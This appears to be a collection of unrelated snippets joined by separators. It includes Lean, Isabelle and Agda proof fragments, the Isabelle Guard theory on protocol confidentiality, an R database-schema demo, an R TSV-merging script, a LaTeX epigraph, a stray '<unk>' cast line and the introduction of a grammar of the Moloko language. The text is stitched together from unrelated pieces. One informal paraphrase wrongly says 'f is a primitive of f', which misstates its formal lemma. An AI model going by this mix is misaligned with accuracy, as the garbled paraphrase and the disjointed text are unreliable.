dsimp only [has_limit.lift],
simp only [add_monoid_hom.coe_mk],
exact congr_arg (λ g : s.X ⟶ f j, (g : s.X → f j) x) (w ⟨j⟩),
end, }, }
end has_limit
open has_limit
variables {J : Type} [fintype J]
/--
We verify that the biproduct we've just defined is isomorphic to the AddCommGroup structure
on the dependent function type
-/
@[simps hom_apply] noncomputable
def biproduct_iso_pi (f : J → AddCommGroup.{u}) :
(⨁ f : AddCommGroup) ≅ AddCommGroup.of (Π j, f j) :=
is_limit.cone_point_unique_up_to_iso
(biproduct.is_limit f)
(product_limit_cone f).is_limit
@[simp, elementwise] lemma biproduct_iso_pi_inv_comp_π (f : J → AddCommGroup.{u}) (j : J) :
(biproduct_iso_pi f).inv ≫ biproduct.π f j = pi.eval_add_monoid_hom (λ j, f j) j :=
is_limit.cone_point_unique_up_to_iso_inv_comp _ _ (discrete.mk j)
end AddCommGroup
|
Formal statement is: lemma triangle_contour_integrals_starlike_primitive: assumes contf: "continuous_on S f" and S: "a \<in> S" "open S" and x: "x \<in> S" and subs: "\<And>y. y \<in> S \<Longrightarrow> closed_segment a y \<subseteq> S" and zer: "\<And>b c. closed_segment b c \<subseteq> S \<Longrightarrow> contour_integral (linepath a b) f + contour_integral (linepath b c) f + contour_integral (linepath c a) f = 0" shows "((\<lambda>x. contour_integral(linepath a x) f) has_field_derivative f x) (at x)" Informal statement is: If $f$ is a continuous function on an open set $S$ and $a \in S$, and if the integral of $f$ around any triangle with vertices in $S$ is zero, then $f$ is a primitive of $f$ on $S$. |
{-# OPTIONS --without-K --safe #-}
module Data.Fin.Indexed where
open import Data.Fin.Indexed.Base public
|
import tactic
open function
variables (X Y Z : Type) (f : X → Y) (g : Y → Z)
example : (injective f) ∧ (injective g) → injective (g ∘ f) :=
begin
-- Assume that f and g are injective.
rintro ⟨hf, hg⟩,
-- We need to prove `g ∘ f` is injective.
-- So say `a`, `b` are in `X`, and `(g ∘ f)(a) = (g ∘ f)(b)`
rintro a b hab,
-- We need to prove that `a = b`.
-- By injectivity of `f`, it suffices to prove that `f(a) = f(b)`.
apply hf,
-- But this follows immediately from our assumption
-- `g(f(a))=g(f(b))`,and injectivity.
exact hg hab,
end |
[STATEMENT]
lemma distinct_annotate_rlen: "distinct (annotate_rlen l)"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. distinct (annotate_rlen l)
[PROOF STEP]
using distinct_fst_annotate_rlen
[PROOF STATE]
proof (prove)
using this:
distinct (map fst (annotate_rlen ?l))
goal (1 subgoal):
1. distinct (annotate_rlen l)
[PROOF STEP]
unfolding distinct_map
[PROOF STATE]
proof (prove)
using this:
distinct (annotate_rlen ?l) \<and> inj_on fst (set (annotate_rlen ?l))
goal (1 subgoal):
1. distinct (annotate_rlen l)
[PROOF STEP]
by blast |
<unk> as Inspector Khurana , Radha 's Father
|
corollary Lim_at_infinityI [intro?]: assumes "\<And>e. e > 0 \<Longrightarrow> \<exists>B. \<forall>x. norm x \<ge> B \<longrightarrow> dist (f x) l \<le> e" shows "(f \<longlongrightarrow> l) at_infinity" |
{- Byzantine Fault Tolerant Consensus Verification in Agda, version 0.9.
Copyright (c) 2021, Oracle and/or its affiliates.
Licensed under the Universal Permissive License v 1.0 as shown at https://opensource.oracle.com/licenses/upl
-}
open import LibraBFT.Prelude
open import LibraBFT.Abstract.Types.EpochConfig
open WithAbsVote
-- This module provides a convenient way for modules in other namespaces to import
-- everything from Abstract.
module LibraBFT.Abstract.Abstract
(UID : Set)
(_≟UID_ : (u₀ u₁ : UID) → Dec (u₀ ≡ u₁))
(NodeId : Set)
(𝓔 : EpochConfig UID NodeId)
(𝓥 : VoteEvidence UID NodeId 𝓔)
where
open import LibraBFT.Abstract.Types UID NodeId 𝓔 public
open import LibraBFT.Abstract.RecordChain UID _≟UID_ NodeId 𝓔 𝓥 public
open import LibraBFT.Abstract.RecordChain.Assumptions UID _≟UID_ NodeId 𝓔 𝓥 public
open import LibraBFT.Abstract.Records UID _≟UID_ NodeId 𝓔 𝓥 public
open import LibraBFT.Abstract.Records.Extends UID _≟UID_ NodeId 𝓔 𝓥 public
open import LibraBFT.Abstract.Properties UID _≟UID_ NodeId 𝓔 𝓥 public
open import LibraBFT.Abstract.System UID _≟UID_ NodeId 𝓔 𝓥 public
|
library(data.table)
library(magrittr)
system("/bin/authenticate.sh")
sc::add_schema_v8(
name_access = c("restr", "anon"),
name_grouping = "example",
name_variant = NULL,
db_configs = sc::config$db_configs,
field_types = c(
"granularity_time" = "TEXT",
"granularity_geo" = "TEXT",
"country_iso3" = "TEXT",
"location_code" = "TEXT",
"border" = "INTEGER",
"age" = "TEXT",
"sex" = "TEXT",
"date" = "DATE",
"isoyear" = "INTEGER",
"isoweek" = "INTEGER",
"isoyearweek" = "TEXT",
"season" = "TEXT",
"seasonweek" = "DOUBLE",
"calyear" = "INTEGER",
"calmonth" = "INTEGER",
"calyearmonth" = "TEXT",
"value_n" = "INTEGER",
"value_pr100" = "DOUBLE",
"x_n" = "INTEGER"
),
keys = c(
"granularity_time",
"location_code",
"date",
"age",
"sex"
),
censors = list(
restr = list(
"value_n" = sc::censor_function_factory_nothing("value_n"),
"value_pr100" = sc::censor_function_factory_values_0_4(column_name_to_be_censored = "value_pr100", column_name_value = "value_n"),
"x_n" = sc::censor_list_function_factory(list(
sc::censor_function_factory_nothing(column_name_to_be_censored = "x_n", granularity_time = "day", granularity_geo = c("nation")),
sc::censor_function_factory_everything(column_name_to_be_censored = "x_n", granularity_time = "day", granularity_geo_not = c("nation")),
sc::censor_function_factory_nothing(column_name_to_be_censored = "x_n", granularity_time = "isoweek", granularity_geo = c("nation")),
sc::censor_function_factory_nothing(column_name_to_be_censored = "x_n", granularity_time = "isoweek", granularity_geo_not = c("nation"))
))
),
anon = list(
value_n = sc::censor_function_factory_values_0_4("value_n"),
"value_pr100" = sc::censor_function_factory_values_0_4(column_name_to_be_censored = "value_pr100", column_name_value = "value_n"),
"x_n" = sc::censor_list_function_factory(list(
sc::censor_function_factory_nothing(column_name_to_be_censored = "x_n", granularity_time = "day", granularity_geo = c("nation")),
sc::censor_function_factory_everything(column_name_to_be_censored = "x_n", granularity_time = "day", granularity_geo_not = c("nation")),
sc::censor_function_factory_nothing(column_name_to_be_censored = "x_n", granularity_time = "isoweek", granularity_geo = c("nation")),
sc::censor_function_factory_nothing(column_name_to_be_censored = "x_n", granularity_time = "isoweek", granularity_geo_not = c("nation"))
))
)
),
validator_field_types = sc::validator_field_types_sykdomspulsen,
validator_field_contents = sc::validator_field_contents_sykdomspulsen,
info = "This db table is used for..."
)
sc::drop_table("restr_example")
sc::drop_table("anon_example")
d <- data.table(
granularity_time = c("day", "day", "isoweek", "isoweek"),
granularity_geo = c("nation","county"),
country_iso3 = "nor",
location_code = c("norge","county03"),
border = 2020,
age = "total",
sex = "total",
date = c(as.Date("1990-01-07"),as.Date("1990-01-08")),
isoyear = 1990,
isoweek = 1,
isoyearweek = "1990-01",
season = "1990/1991",
seasonweek = 24,
calyear = NA,
calmonth = NA,
calyearmonth = NA,
value_n = c(3,6,3,6)
)
d[, value_pr100 := 100]
d[, x_n := value_n]
# display the raw data
d[]
sc::fill_in_missing_v8(d)
# we have three options to get the data into the db table
# remember that "keys" defines the uniquely identifying rows of data that are allowed in the db table!
# - upsert means "update if data exists, otherwise append"
# - insert means "append" (data cannot already exist)
sc::config$schemas$redirect_example$upsert_data(d)
sc::config$schemas$redirect_example$tbl() %>%
sc::mandatory_db_filter(
granularity_time = NULL,
granularity_time_not = NULL,
granularity_geo = NULL,
granularity_geo_not = NULL,
country_iso3 = NULL,
location_code = NULL,
age = "total",
age_not = NULL,
sex = "total",
sex_not = NULL
) %>%
dplyr::select(
granularity_time,
location_code,
date,
value_n,
value_n_censored
) %>%
dplyr::collect() %>%
as.data.table() %>%
print()
sc::config$schemas$restr_example$tbl() %>%
sc::mandatory_db_filter(
granularity_time = NULL,
granularity_time_not = NULL,
granularity_geo = NULL,
granularity_geo_not = NULL,
country_iso3 = NULL,
location_code = NULL,
age = "total",
age_not = NULL,
sex = "total",
sex_not = NULL
) %>%
dplyr::select(
granularity_time,
location_code,
date,
value_n,
value_n_censored,
value_pr100,
value_pr100_censored,
x_n,
x_n_censored
) %>%
dplyr::collect() %>%
as.data.table() %>%
print()
sc::config$schemas$anon_example$tbl() %>%
sc::mandatory_db_filter(
granularity_time = NULL,
granularity_time_not = NULL,
granularity_geo = NULL,
granularity_geo_not = NULL,
country_iso3 = NULL,
location_code = NULL,
age = "total",
age_not = NULL,
sex = "total",
sex_not = NULL
) %>%
dplyr::select(
granularity_time,
location_code,
date,
value_n,
value_n_censored,
value_pr100,
value_pr100_censored,
x_n,
x_n_censored
) %>%
dplyr::collect() %>%
as.data.table() %>%
print()
|
#!/usr/bin/env Rscript
# Helper script -- merge multiple tsv into a single tsv
# Combiz Khozoie <[email protected]>
# ____________________________________________________________________________
# Initialization ####
## ............................................................................
## Load packages ####
library(argparse)
library(purrr)
## ............................................................................
## Parse command-line arguments ####
# create parser object
parser <- ArgumentParser()
# specify options
required <- parser$add_argument_group("Required", "required arguments")
required$add_argument(
"--filepaths",
help = "-paths to tsv files",
metavar = "1.tsv,2.tsv",
required = TRUE
)
### . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..
### Pre-process args ####
args <- parser$parse_args()
args$filepaths <- strsplit(args$filepaths, ",")[[1]]
## ............................................................................
## Start Merge ####
tsv_l <- lapply(args$filepaths, read.delim)
merged_tsv <- unique(Reduce(rbind, tsv_l))
write.table(
merged_tsv,
file.path(getwd(), "merged.tsv"),
sep = "\t",
col.names = TRUE, row.names = FALSE)
|
(* Title: HOL/Auth/Guard/Guard.thy
Author: Frederic Blanqui, University of Cambridge Computer Laboratory
Copyright 2002 University of Cambridge
*)
section\<open>Protocol-Independent Confidentiality Theorem on Nonces\<close>
theory Guard imports Analz Extensions begin
(******************************************************************************
messages where all the occurrences of Nonce n are
in a sub-message of the form Crypt (invKey K) X with K:Ks
******************************************************************************)
inductive_set
guard :: "nat => key set => msg set"
for n :: nat and Ks :: "key set"
where
No_Nonce [intro]: "Nonce n ~:parts {X} ==> X:guard n Ks"
| Guard_Nonce [intro]: "invKey K:Ks ==> Crypt K X:guard n Ks"
| Crypt [intro]: "X:guard n Ks ==> Crypt K X:guard n Ks"
| Pair [intro]: "[| X:guard n Ks; Y:guard n Ks |] ==> \<lbrace>X,Y\<rbrace> \<in> guard n Ks"
subsection\<open>basic facts about @{term guard}\<close>
lemma Key_is_guard [iff]: "Key K:guard n Ks"
by auto
lemma Agent_is_guard [iff]: "Agent A:guard n Ks"
by auto
lemma Number_is_guard [iff]: "Number r:guard n Ks"
by auto
lemma Nonce_notin_guard: "X:guard n Ks ==> X ~= Nonce n"
by (erule guard.induct, auto)
lemma Nonce_notin_guard_iff [iff]: "Nonce n ~:guard n Ks"
by (auto dest: Nonce_notin_guard)
lemma guard_has_Crypt [rule_format]: "X:guard n Ks ==> Nonce n:parts {X}
--> (EX K Y. Crypt K Y:kparts {X} & Nonce n:parts {Y})"
by (erule guard.induct, auto)
lemma Nonce_notin_kparts_msg: "X:guard n Ks ==> Nonce n ~:kparts {X}"
by (erule guard.induct, auto)
lemma Nonce_in_kparts_imp_no_guard: "Nonce n:kparts H
==> EX X. X:H & X ~:guard n Ks"
apply (drule in_kparts, clarify)
apply (rule_tac x=X in exI, clarify)
by (auto dest: Nonce_notin_kparts_msg)
lemma guard_kparts [rule_format]: "X:guard n Ks ==>
Y:kparts {X} --> Y:guard n Ks"
by (erule guard.induct, auto)
lemma guard_Crypt: "[| Crypt K Y:guard n Ks; K ~:invKey`Ks |] ==> Y:guard n Ks"
by (ind_cases "Crypt K Y:guard n Ks") (auto intro!: image_eqI)
lemma guard_MPair [iff]: "(\<lbrace>X,Y\<rbrace> \<in> guard n Ks) = (X \<in> guard n Ks \<and> Y \<in> guard n Ks)"
by (auto, (ind_cases "\<lbrace>X,Y\<rbrace> \<in> guard n Ks", auto)+)
lemma guard_not_guard [rule_format]: "X:guard n Ks ==>
Crypt K Y:kparts {X} --> Nonce n:kparts {Y} --> Y ~:guard n Ks"
by (erule guard.induct, auto dest: guard_kparts)
lemma guard_extand: "[| X:guard n Ks; Ks <= Ks' |] ==> X:guard n Ks'"
by (erule guard.induct, auto)
subsection\<open>guarded sets\<close>
definition Guard :: "nat => key set => msg set => bool" where
"Guard n Ks H == ALL X. X:H --> X:guard n Ks"
subsection\<open>basic facts about @{term Guard}\<close>
lemma Guard_empty [iff]: "Guard n Ks {}"
by (simp add: Guard_def)
lemma notin_parts_Guard [intro]: "Nonce n ~:parts G ==> Guard n Ks G"
apply (unfold Guard_def, clarify)
apply (subgoal_tac "Nonce n ~:parts {X}")
by (auto dest: parts_sub)
lemma Nonce_notin_kparts [simplified]: "Guard n Ks H ==> Nonce n ~:kparts H"
by (auto simp: Guard_def dest: in_kparts Nonce_notin_kparts_msg)
lemma Guard_must_decrypt: "[| Guard n Ks H; Nonce n:analz H |] ==>
EX K Y. Crypt K Y:kparts H & Key (invKey K):kparts H"
apply (drule_tac P="%G. Nonce n:G" in analz_pparts_kparts_substD, simp)
by (drule must_decrypt, auto dest: Nonce_notin_kparts)
lemma Guard_kparts [intro]: "Guard n Ks H ==> Guard n Ks (kparts H)"
by (auto simp: Guard_def dest: in_kparts guard_kparts)
lemma Guard_mono: "[| Guard n Ks H; G <= H |] ==> Guard n Ks G"
by (auto simp: Guard_def)
lemma Guard_insert [iff]: "Guard n Ks (insert X H)
= (Guard n Ks H & X:guard n Ks)"
by (auto simp: Guard_def)
lemma Guard_Un [iff]: "Guard n Ks (G Un H) = (Guard n Ks G & Guard n Ks H)"
by (auto simp: Guard_def)
lemma Guard_synth [intro]: "Guard n Ks G ==> Guard n Ks (synth G)"
by (auto simp: Guard_def, erule synth.induct, auto)
lemma Guard_analz [intro]: "[| Guard n Ks G; ALL K. K:Ks --> Key K ~:analz G |]
==> Guard n Ks (analz G)"
apply (auto simp: Guard_def)
apply (erule analz.induct, auto)
by (ind_cases "Crypt K Xa:guard n Ks" for K Xa, auto)
lemma in_Guard [dest]: "[| X:G; Guard n Ks G |] ==> X:guard n Ks"
by (auto simp: Guard_def)
lemma in_synth_Guard: "[| X:synth G; Guard n Ks G |] ==> X:guard n Ks"
by (drule Guard_synth, auto)
lemma in_analz_Guard: "[| X:analz G; Guard n Ks G;
ALL K. K:Ks --> Key K ~:analz G |] ==> X:guard n Ks"
by (drule Guard_analz, auto)
lemma Guard_keyset [simp]: "keyset G ==> Guard n Ks G"
by (auto simp: Guard_def)
lemma Guard_Un_keyset: "[| Guard n Ks G; keyset H |] ==> Guard n Ks (G Un H)"
by auto
lemma in_Guard_kparts: "[| X:G; Guard n Ks G; Y:kparts {X} |] ==> Y:guard n Ks"
by blast
lemma in_Guard_kparts_neq: "[| X:G; Guard n Ks G; Nonce n':kparts {X} |]
==> n ~= n'"
by (blast dest: in_Guard_kparts)
lemma in_Guard_kparts_Crypt: "[| X:G; Guard n Ks G; is_MPair X;
Crypt K Y:kparts {X}; Nonce n:kparts {Y} |] ==> invKey K:Ks"
apply (drule in_Guard, simp)
apply (frule guard_not_guard, simp+)
apply (drule guard_kparts, simp)
by (ind_cases "Crypt K Y:guard n Ks", auto)
lemma Guard_extand: "[| Guard n Ks G; Ks <= Ks' |] ==> Guard n Ks' G"
by (auto simp: Guard_def dest: guard_extand)
lemma guard_invKey [rule_format]: "[| X:guard n Ks; Nonce n:kparts {Y} |] ==>
Crypt K Y:kparts {X} --> invKey K:Ks"
by (erule guard.induct, auto)
lemma Crypt_guard_invKey [rule_format]: "[| Crypt K Y:guard n Ks;
Nonce n:kparts {Y} |] ==> invKey K:Ks"
by (auto dest: guard_invKey)
subsection\<open>set obtained by decrypting a message\<close>
abbreviation (input)
decrypt :: "msg set => key => msg => msg set" where
"decrypt H K Y == insert Y (H - {Crypt K Y})"
lemma analz_decrypt: "[| Crypt K Y:H; Key (invKey K):H; Nonce n:analz H |]
==> Nonce n:analz (decrypt H K Y)"
apply (drule_tac P="%H. Nonce n:analz H" in ssubst [OF insert_Diff])
apply assumption
apply (simp only: analz_Crypt_if, simp)
done
lemma parts_decrypt: "[| Crypt K Y:H; X:parts (decrypt H K Y) |] ==> X:parts H"
by (erule parts.induct, auto intro: parts.Fst parts.Snd parts.Body)
subsection\<open>number of Crypt's in a message\<close>
fun crypt_nb :: "msg => nat"
where
"crypt_nb (Crypt K X) = Suc (crypt_nb X)"
| "crypt_nb \<lbrace>X,Y\<rbrace> = crypt_nb X + crypt_nb Y"
| "crypt_nb X = 0" (* otherwise *)
subsection\<open>basic facts about @{term crypt_nb}\<close>
lemma non_empty_crypt_msg: "Crypt K Y:parts {X} ==> crypt_nb X \<noteq> 0"
by (induct X, simp_all, safe, simp_all)
subsection\<open>number of Crypt's in a message list\<close>
primrec cnb :: "msg list => nat"
where
"cnb [] = 0"
| "cnb (X#l) = crypt_nb X + cnb l"
subsection\<open>basic facts about @{term cnb}\<close>
lemma cnb_app [simp]: "cnb (l @ l') = cnb l + cnb l'"
by (induct l, auto)
lemma mem_cnb_minus: "x \<in> set l ==> cnb l = crypt_nb x + (cnb l - crypt_nb x)"
by (induct l) auto
lemmas mem_cnb_minus_substI = mem_cnb_minus [THEN ssubst]
lemma cnb_minus [simp]: "x \<in> set l ==> cnb (remove l x) = cnb l - crypt_nb x"
apply (induct l, auto)
apply (erule_tac l=l and x=x in mem_cnb_minus_substI)
apply simp
done
lemma parts_cnb: "Z:parts (set l) ==>
cnb l = (cnb l - crypt_nb Z) + crypt_nb Z"
by (erule parts.induct, auto simp: in_set_conv_decomp)
lemma non_empty_crypt: "Crypt K Y:parts (set l) ==> cnb l \<noteq> 0"
by (induct l, auto dest: non_empty_crypt_msg parts_insert_substD)
subsection\<open>list of kparts\<close>
lemma kparts_msg_set: "EX l. kparts {X} = set l & cnb l = crypt_nb X"
apply (induct X, simp_all)
apply (rename_tac agent, rule_tac x="[Agent agent]" in exI, simp)
apply (rename_tac nat, rule_tac x="[Number nat]" in exI, simp)
apply (rename_tac nat, rule_tac x="[Nonce nat]" in exI, simp)
apply (rename_tac nat, rule_tac x="[Key nat]" in exI, simp)
apply (rename_tac X, rule_tac x="[Hash X]" in exI, simp)
apply (clarify, rule_tac x="l@la" in exI, simp)
by (clarify, rename_tac nat X y, rule_tac x="[Crypt nat X]" in exI, simp)
lemma kparts_set: "EX l'. kparts (set l) = set l' & cnb l' = cnb l"
apply (induct l)
apply (rule_tac x="[]" in exI, simp, clarsimp)
apply (rename_tac a b l')
apply (subgoal_tac "EX l''. kparts {a} = set l'' & cnb l'' = crypt_nb a", clarify)
apply (rule_tac x="l''@l'" in exI, simp)
apply (rule kparts_insert_substI, simp)
by (rule kparts_msg_set)
subsection\<open>list corresponding to "decrypt"\<close>
definition decrypt' :: "msg list => key => msg => msg list" where
"decrypt' l K Y == Y # remove l (Crypt K Y)"
declare decrypt'_def [simp]
subsection\<open>basic facts about @{term decrypt'}\<close>
lemma decrypt_minus: "decrypt (set l) K Y <= set (decrypt' l K Y)"
by (induct l, auto)
subsection\<open>if the analyse of a finite guarded set gives n then it must also gives
one of the keys of Ks\<close>
lemma Guard_invKey_by_list [rule_format]: "ALL l. cnb l = p
--> Guard n Ks (set l) --> Nonce n:analz (set l)
--> (EX K. K:Ks & Key K:analz (set l))"
apply (induct p)
(* case p=0 *)
apply (clarify, drule Guard_must_decrypt, simp, clarify)
apply (drule kparts_parts, drule non_empty_crypt, simp)
(* case p>0 *)
apply (clarify, frule Guard_must_decrypt, simp, clarify)
apply (drule_tac P="%G. Nonce n:G" in analz_pparts_kparts_substD, simp)
apply (frule analz_decrypt, simp_all)
apply (subgoal_tac "EX l'. kparts (set l) = set l' & cnb l' = cnb l", clarsimp)
apply (drule_tac G="insert Y (set l' - {Crypt K Y})"
and H="set (decrypt' l' K Y)" in analz_sub, rule decrypt_minus)
apply (rule_tac analz_pparts_kparts_substI, simp)
apply (case_tac "K:invKey`Ks")
(* K:invKey`Ks *)
apply (clarsimp, blast)
(* K ~:invKey`Ks *)
apply (subgoal_tac "Guard n Ks (set (decrypt' l' K Y))")
apply (drule_tac x="decrypt' l' K Y" in spec, simp)
apply (subgoal_tac "Crypt K Y:parts (set l)")
apply (drule parts_cnb, rotate_tac -1, simp)
apply (clarify, drule_tac X="Key Ka" and H="insert Y (set l')" in analz_sub)
apply (rule insert_mono, rule set_remove)
apply (simp add: analz_insertD, blast)
(* Crypt K Y:parts (set l) *)
apply (blast dest: kparts_parts)
(* Guard n Ks (set (decrypt' l' K Y)) *)
apply (rule_tac H="insert Y (set l')" in Guard_mono)
apply (subgoal_tac "Guard n Ks (set l')", simp)
apply (rule_tac K=K in guard_Crypt, simp add: Guard_def, simp)
apply (drule_tac t="set l'" in sym, simp)
apply (rule Guard_kparts, simp, simp)
apply (rule_tac B="set l'" in subset_trans, rule set_remove, blast)
by (rule kparts_set)
lemma Guard_invKey_finite: "[| Nonce n:analz G; Guard n Ks G; finite G |]
==> EX K. K:Ks & Key K:analz G"
apply (drule finite_list, clarify)
by (rule Guard_invKey_by_list, auto)
lemma Guard_invKey: "[| Nonce n:analz G; Guard n Ks G |]
==> EX K. K:Ks & Key K:analz G"
by (auto dest: analz_needs_only_finite Guard_invKey_finite)
subsection\<open>if the analyse of a finite guarded set and a (possibly infinite) set of keys
gives n then it must also gives Ks\<close>
lemma Guard_invKey_keyset: "[| Nonce n:analz (G Un H); Guard n Ks G; finite G;
keyset H |] ==> EX K. K:Ks & Key K:analz (G Un H)"
apply (frule_tac P="%G. Nonce n:G" and G=G in analz_keyset_substD, simp_all)
apply (drule_tac G="G Un (H Int keysfor G)" in Guard_invKey_finite)
by (auto simp: Guard_def intro: analz_sub)
end
|
% vim: set tw=160:
\chapter*{}
\mbox{}
\renewcommand{\dictumwidth}{\textwidth}
\dictum[Roy Trenneman, The IT Crowd]{Have you tried turning it off and on again?}
|
\chapter[Introduction]{Introduction}\label{chap:1}\label{introduction}
\hypertarget{RefHeading1210241525720847}{}\hypertarget{Toc450584435}{}
Although this grammar book is currently more than 100,000 words long, it truly only scratches the surface of this beautiful language. Moloko grammar is interesting and complex; we encourage further study to demonstrate its genius in more detail.
The notable features of the language include the following:
\begin{itemize}
\item the simplicity of the vowel system (there is only one underlying phoneme with ten phonetic representations and 4 graphemes, see \sectref{sec:2.3}),
\item the complexity of the verb word (\chapref{chap:7}), with information in the verb word indicating in addition to the verbal idea, subject, direct object (semantic Theme), indirect object (recipient or beneficiary), direction, location, aspect (Imperfective and Perfective), mood (realis, irrealis, iterative), and Perfect aspect,
\item the fact that verbs are not inherently transitive or intransitive, but rather the semantics is tied to the number and type of core grammatical relations in a clause (\chapref{chap:9}),
\item clauses with zero transitivity (no grammatical arguments in a clause) occur, see \sectref{sec:3.6.3} and \sectref{sec:9.4}),
\item the presupposition construction (\chapref{chap:11}), which is the main organisational structure in Moloko discourse,
\item interrogative formation (see \sectref{sec:10.3}), including re-arrangement of the clause so that the interrogative particle occurs clause final,
\item the absence of adjectives as a basic word class (all adjectives are derived from nouns, \sectref{sec:5.3}),
\item ideophones (\sectref{sec:3.6}), found in many African languages, are lexical items giving a ``picture'' or a ``sound'' idea of the event they symbolise. They function in Moloko as adverbs, adjectives, and in particular contexts, as verbs,
\item the consonantal skeleton of words (see \sectref{sec:6.2}),
\item reduplication that occurs in verbs (see \sectref{sec:7.4.4}) and nouns (see \sectref{sec:3.5.2}), and can be inflectional or derivational.
\item Moloko is a somewhat agglutinative language, since easily separable morphemes can be added to noun and verb stems,
\item cliticisation is very productive within the language. Clitics are both inflectional and derivational, and in nouns and verbs, always follow the lexical root they modify. Cliticisation in verbs allows several layers of clitics to be added. Verbal clitics are called \textit{extensions} in this paper, following Chadic linguistic terminology.\footnote{\citet{Newman1973} noted that the term ``verbal extension'' was widely used in Chadic languages to describe “optional additions that serve to expand or modify the meaning of the basic verb (173:334). Note that the term ``extension'' for Chadic languages has a different use than for Bantu languages. Verbal ``extensions '' in languages from the Niger-Congo, Nilo-Saharan, and Khoisan families have derivational or inflectional functions \citep{Hyman2007}. } In Chadic languages, ``extension'' refers to particles or clitics in the verb word or verb phrase.
\end{itemize}
Linguistic classification, language use, and previous research are outlined in Sections \ref{sec:1.1} to \ref{sec:1.3}. The four texts that follow in Sections \ref{sec:1.4}--\ref{sec:1.7} are chosen from among many that were recorded while the first author lived in the Moloko region from 1999 to 2008. They are used with permission. These stories belong to the community because they represent their collective knowledge and culture. As such, no individual will be named as 'author' of any particular story. Many of the examples from the grammar sections in this book are taken from these stories. The sentence numbers are given in the examples so that the reader can refer to the complete texts and locate the example in its context. The first line in each sentence is the orthographic form. The second is the phonetic form (slow speech) with morpheme breaks. The third line is the gloss and the fourth is the translation.
\section{Linguistic classification}\label{sec:1.1}
\hypertarget{RefHeading1210261525720847}{}
Moloko (or Melokwo, Molkore,\footnote{Molkore is the \ili{Fulfulde}\il{Fulfulde} name for Moloko.} Məloko\footnote{Məloko is the spelling for this name using the Moloko orthography. The orthography, described in \citet{Friesen2001}, is being used by the Moloko (more than a dozen titles are listed in the reference section).}) is classified by \citet{LewisSimonsFennig2009}\footnote{\citet{DieuRenaud1983} classify it as [154] Chadic family, Biu Mandara branch, center-west sub-branch, Wandala-Mafa group, Mafa-south sub-group (A5).} as Central Chadic Biu-Mandara A5, as seen below:\footnote{A more detailed discussion of the classification of Moloko is found in \citet{Bow1997a}.}
\begin{figure}
\begin{tabular}{llllll}
\textbf{Afro-asiatic} & Berber\\
& Cushitic\\
& Egyptian\\
& Omotic\\
& Semitic\\
& \textbf{Chadic} & East\\
& & Masa\\
& & West\\
& &\textbf{Biu-Mandara} & \textbf{A} & A1\\
& & & & A2\\
& & & & A3\\
& & & & A4\\
& & & & \textbf{A5} & Baldemu\\
& & & & & \ili{Cuvok}\\
& & & & & \ili{Dugwor}\\
& & & & & \ili{Giziga}, North\\
& & & & & \ili{Giziga}, South\\
& & & & & Zulgo-\ili{Gemzek}\\
& & & & & Mafa\\
& & & & & Merey\\
& & & & & Matal\\
& & & & & Mefele\\
& & & & & Mofu, North\\
& & & & & Mofu-Gudur\\
& & & & & \ili{Vame}\\
& & & & & \textbf{Moloko}\\
& & & & & \ili{Mbuko}\\
& & & & & \ili{Muyang}\\
& & & & & Mada\\
& & & & & Wuzlam\\
& & & & A6\\
& & & & A7\\
& & & & A8\\
& & & B\\
& & & C
\end{tabular}
\caption{Classification of Moloko}
\end{figure}
The Ethnologue \citep{LewisSimonsFennig2009} reports 8,500 speakers of Moloko in 1992. A survey by \citet{Starr1997} estimated 10,000--12,000 speakers. Most live near Moloko mountain, 30km north of Maroua in the district of Tokombere, department of Mayo-Sava in the Far North Province of the Republic of Cameroon. Local oral history indicates that the Moloko people actually are not a single people group historically, but that people from at least three ethnic groups sought refuge on Moloko mountain during the Fulani invasions of the 19\textsuperscript{th} century. Eventually they all came to speak the same language.
Moloko mountain remains the center of Moloko culture. There are three villages on the summit itself. Moloko villages are organised by clan, each village being the male descendants of a particular clan and their families. Since the 1960’s, some of the Moloko language group have moved to the plains between the mountain and Maroua, and have settled in Moloko or \ili{Giziga}-Moloko villages. Others have moved further away and live in small communities in and around the cities of Maroua, Garoua, Toubouro, Kousseri, and Yaounde. Minor dialectal differences exist in pronunciation and vocabulary but all speakers can understand one another without difficulty.
\section{Language use, language contact, and multilingualism}\label{sec:1.2}
\hypertarget{RefHeading1210281525720847}{}
A minority of Moloko speakers are monolingual. Most speak three to five other languages. Men and most women have at least a market level knowledge of \ili{Fulfulde}\il{Fulfulde}, the language of wider communication, and also speak at least one of the neighboring languages: \ili{Giziga}\il{Giziga}, \ili{Muyang}\il{Muyang}, \ili{Gemzek}\il{Gemzek}, \ili{Mbuko}\il{Mbuko}, or \ili{Dugwor}\il{Dugwor}. Those with several years of education also speak French.
Men often marry women from neighboring language groups, so homes can be multilingual, but the spoken language at home tends to be the language of the father. Friends will often switch languages as they are conversing, perhaps when talking in different domains, but also simply to bond. Dealings in the market can be done in the trade language, but people prefer to bargain in the language of the seller, if possible.
Language viability for Moloko is only at risk in communities where Moloko is not the primary language, especially in cities like Maroua or Yaounde. In the city, children grow up in neighborhoods where many different languages are spoken and so they tend to speak \ili{Fulfulde}\il{Fulfulde} (as well as learn French at school). In such places, Moloko is at risk to be lost in the next generation. Otherwise, in areas where Moloko people are together, Moloko language use is strong among people of every age and in every domain of home life.
\section{Previous research}\label{sec:1.3}
\hypertarget{RefHeading1210301525720847}{}
\citet{Bradley1992} is a dialect survey of the Moloko region from Moloko mountain to Maroua. \citet{Bow1997c} is a phonological description which included some discussion on tone. \citet{Bow1999} is an M.A. thesis which further studied the vowel system. These two documents, along with discoveries since their work form the basis of the phonology chapter and phonology sections in the verb and noun chapters. Other works consulted include the following: \citet{Bow1997a} presents the classification of Moloko.\citet{Bow1997b} is a manuscript on labialisation and palatalisation in Moloko. \citet{StarrBoydBow2000} is a 1500 word lexicon, and \citet{Friesen2001} an orthography. \citet{Boyd2002} analyses lexical tone in nouns. \citet{Boyd2001}, \citet{OumarBoyd2002}, \citet{HolmakaBoyd2002}, \citet{Holmaka2002}, and \citet{Friesen2003} present interlinearised texts. \citet{Friesen2003} also presents two Moloko fables with a cultural commentary concerning each. The Moloko translation committee has produced (among other work) two primers (\citet{MTC2004a}, \citet{MTC2008}), transfer primers from French (\citet{MTC2005a}) and \ili{Fulfulde} (\citet{MTC2007a}), as well as several booklets with fables (\citet{MTC2004b}, \citet{MTC2005b}, \citet{MTC2007a}-\citet{MTC2007d}).
